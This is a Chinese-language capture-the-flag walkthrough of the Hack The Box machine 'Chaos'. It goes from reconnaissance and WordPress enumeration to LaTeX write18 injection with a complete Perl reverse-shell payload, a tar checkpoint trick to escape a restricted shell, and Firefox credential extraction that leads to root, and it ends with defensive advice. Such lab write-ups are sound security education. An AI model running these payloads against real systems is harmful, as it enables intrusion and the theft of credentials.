【HTB系列】靶机Chaos的渗透测试详解
字数 1353 2025-08-15 21:34:04

HTB靶机Chaos渗透测试教学文档

靶机信息

  • 靶机IP: 10.10.10.120
  • Kali IP: 10.10.12.87
  • 操作系统: Ubuntu (Linux)

初始信息收集

Nmap扫描结果

nmap -sV -T5 -sC 10.10.10.120

开放端口及服务:

  1. 80/tcp - HTTP (Apache httpd 2.4.34)
  2. 110/tcp - POP3 (Dovecot pop3d)
  3. 143/tcp - IMAP (Dovecot imapd)
  4. 993/tcp - SSL/IMAP
  5. 995/tcp - SSL/POP3
  6. 10000/tcp - HTTP (MiniServ 1.890 - Webmin)

渗透测试步骤

1. Web服务探测

发现点:

  • 直接通过IP访问80端口被拒绝
  • 需要修改/etc/hosts文件添加域名解析:
    10.10.10.120 chaos.htb
    

目录爆破:

gobuster dir -u http://chaos.htb -w /path/to/wordlist.txt
gobuster dir -u http://10.10.10.120 -w /path/to/wordlist.txt

发现:

  • 通过IP访问发现WordPress路径(/wp)

2. WordPress扫描

使用WPScan扫描WordPress:

wpscan --url http://10.10.10.120/wp --enumerate u --tee wpscan_output.txt

发现:

  • 用户名: human

3. 获取Webmail凭证

  • 使用human作为密码访问加密文章
  • 获得Webmail凭证:
    用户名: ayush
    密码: jiujitsu
    

4. 访问Webmail

修改hosts文件添加:

10.10.10.120 webmail.chaos.htb

访问webmail.chaos.htb并登录

发现:

  • 草稿箱中有加密信息和加密脚本
  • 提示"你就是密码",推测密码为"sahay"

5. 解密信息

加密脚本分析:

def encrypt(key, filename):
    chunksize = 64*1024
    outputFile = "en" + filename
    filesize = str(os.path.getsize(filename)).zfill(16)
    IV = Random.new().read(16)
    encryptor = AES.new(key, AES.MODE_CBC, IV)
    
    with open(filename, 'rb') as infile:
        with open(outputFile, 'wb') as outfile:
            outfile.write(filesize.encode('utf-8'))
            outfile.write(IV)
            while True:
                chunk = infile.read(chunksize)
                if len(chunk) == 0:
                    break
                elif len(chunk) % 16 != 0:
                    chunk += b' ' * (16 - (len(chunk) % 16))
                outfile.write(encryptor.encrypt(chunk))

def getKey(password):
    hasher = SHA256.new(password.encode('utf-8'))
    return hasher.digest()

解密脚本:

from Crypto.Hash import SHA256
from Crypto.Cipher import AES
import Crypto.Cipher.AES
from binascii import hexlify, unhexlify

def getKey(password):
    hasher = SHA256.new(password.encode('utf-8'))
    return hasher.digest()

if __name__=="__main__":
    chunksize = 64*1024
    mkey = getKey("sahay")
    mIV = (b"0000000000000234")
    decipher = AES.new(mkey,AES.MODE_CBC,mIV)
    
    with open("enim_msg.txt", 'rb') as infile:
        chunk = infile.read(chunksize)
        plaintext = decipher.decrypt(chunk)
        print(plaintext)

解密结果:

echo "SGlpIFNhaGF5CgpQbGVhc2UgY2hlY2sgb3VyIG5ldyBzZXJ2aWNlIHdoaWNoIGNyZWF0ZSBwZGYKCnAucyAtIEFzIHlvdSB0b2xkIG1lIHRvIGVuY3J5cHQgaW1wb3J0YW50IG1zZywgaSBkaWQgOikKCmh0dHA6Ly9jaGFvcy5odGIvSjAwX3cxbGxfZjFOZF9uMDdIMW45X0gzcjMKClRoYW5rcywKQXl1c2gK" | base64 -d

获取隐藏URL:

http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3

6. LaTeX服务利用

发现点:

  • 该服务允许用户输入LaTeX文本并生成PDF
  • PDF生成路径: http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/pdf/

利用LaTeX执行系统命令:

\immediate\write18{perl -e 'use Socket;$i="你的IP地址";$p=端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'}

建立稳定shell:

python -c 'import pty; pty.spawn("/bin/bash")'

7. 权限提升

初始用户:

  • www-data

尝试切换到ayush用户:

su ayush
密码: jiujitsu

受限shell绕过:

  1. 在www-data用户下创建恶意tar文件:

    cd /tmp
    mkdir rick
    tar cf rick.tar rick
    
  2. 在ayush用户下执行:

    tar cf /dev/null rick.tar --checkpoint=1 --checkpoint-action=exec=/bin/bash
    
  3. 修复PATH环境变量:

    export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    

8. 获取root权限

发现点:

  • ayush用户目录下有.mozilla文件夹
  • 使用firefox_decrypt提取Firefox凭证:
    git clone https://github.com/unode/firefox_decrypt.git
    cd firefox_decrypt
    chmod +x firefox_decrypt.py
    ./firefox_decrypt.py
    

获取root密码:

  • 主密码: jiujitsu
  • 发现root密码相同

切换到root:

su root
密码: jiujitsu

关键知识点总结

  1. 域名解析影响:

    • 通过IP和域名访问可能得到不同响应
    • 需要正确配置/etc/hosts文件
  2. WPScan使用:

    • 扫描WordPress获取用户信息
    • 命令: wpscan --url [URL] --enumerate u
  3. 加密文件分析:

    • 识别加密算法(AES-CBC)
    • 编写对应解密脚本
    • 注意IV向量的处理
  4. LaTeX注入:

    • \immediate\write18{}可执行系统命令
    • 用于获取反向shell
  5. 受限shell绕过:

    • 利用tar的checkpoint特性
    • 修复PATH环境变量
  6. Firefox凭证提取:

    • 使用firefox_decrypt工具
    • 需要主密码解密存储的凭证

防御建议

  1. 限制LaTeX服务的命令执行能力
  2. 避免在邮件中存储敏感凭证
  3. 使用不同的密码,避免密码重用
  4. 限制用户shell权限
  5. 定期检查并清理浏览器存储的凭证
HTB靶机Chaos渗透测试教学文档 靶机信息 靶机IP: 10.10.10.120 Kali IP: 10.10.12.87 操作系统: Ubuntu (Linux) 初始信息收集 Nmap扫描结果 开放端口及服务: 80/tcp - HTTP (Apache httpd 2.4.34) 110/tcp - POP3 (Dovecot pop3d) 143/tcp - IMAP (Dovecot imapd) 993/tcp - SSL/IMAP 995/tcp - SSL/POP3 10000/tcp - HTTP (MiniServ 1.890 - Webmin) 渗透测试步骤 1. Web服务探测 发现点 : 直接通过IP访问80端口被拒绝 需要修改/etc/hosts文件添加域名解析: 目录爆破 : 发现 : 通过IP访问发现WordPress路径(/wp) 2. WordPress扫描 使用WPScan扫描WordPress: 发现 : 用户名: human 3. 获取Webmail凭证 使用human作为密码访问加密文章 获得Webmail凭证: 4. 访问Webmail 修改hosts文件添加: 访问webmail.chaos.htb并登录 发现 : 草稿箱中有加密信息和加密脚本 提示"你就是密码",推测密码为"sahay" 5. 解密信息 加密脚本分析 : 解密脚本 : 解密结果 : 获取隐藏URL : 6. LaTeX服务利用 发现点 : 该服务允许用户输入LaTeX文本并生成PDF PDF生成路径: http://chaos.htb/J00_ w1ll_ f1Nd_ n07H1n9_ H3r3/pdf/ 利用LaTeX执行系统命令 : 建立稳定shell : 7. 权限提升 初始用户 : www-data 尝试切换到ayush用户 : 受限shell绕过 : 在www-data用户下创建恶意tar文件: 在ayush用户下执行: 修复PATH环境变量: 8. 获取root权限 发现点 : ayush用户目录下有.mozilla文件夹 使用firefox_ decrypt提取Firefox凭证: 获取root密码 : 主密码: jiujitsu 发现root密码相同 切换到root : 关键知识点总结 域名解析影响 : 通过IP和域名访问可能得到不同响应 需要正确配置/etc/hosts文件 WPScan使用 : 扫描WordPress获取用户信息 命令: wpscan --url [URL] --enumerate u 加密文件分析 : 识别加密算法(AES-CBC) 编写对应解密脚本 注意IV向量的处理 LaTeX注入 : \immediate\write18{}可执行系统命令 用于获取反向shell 受限shell绕过 : 利用tar的checkpoint特性 修复PATH环境变量 Firefox凭证提取 : 使用firefox_ decrypt工具 需要主密码解密存储的凭证 防御建议 限制LaTeX服务的命令执行能力 避免在邮件中存储敏感凭证 使用不同的密码,避免密码重用 限制用户shell权限 定期检查并清理浏览器存储的凭证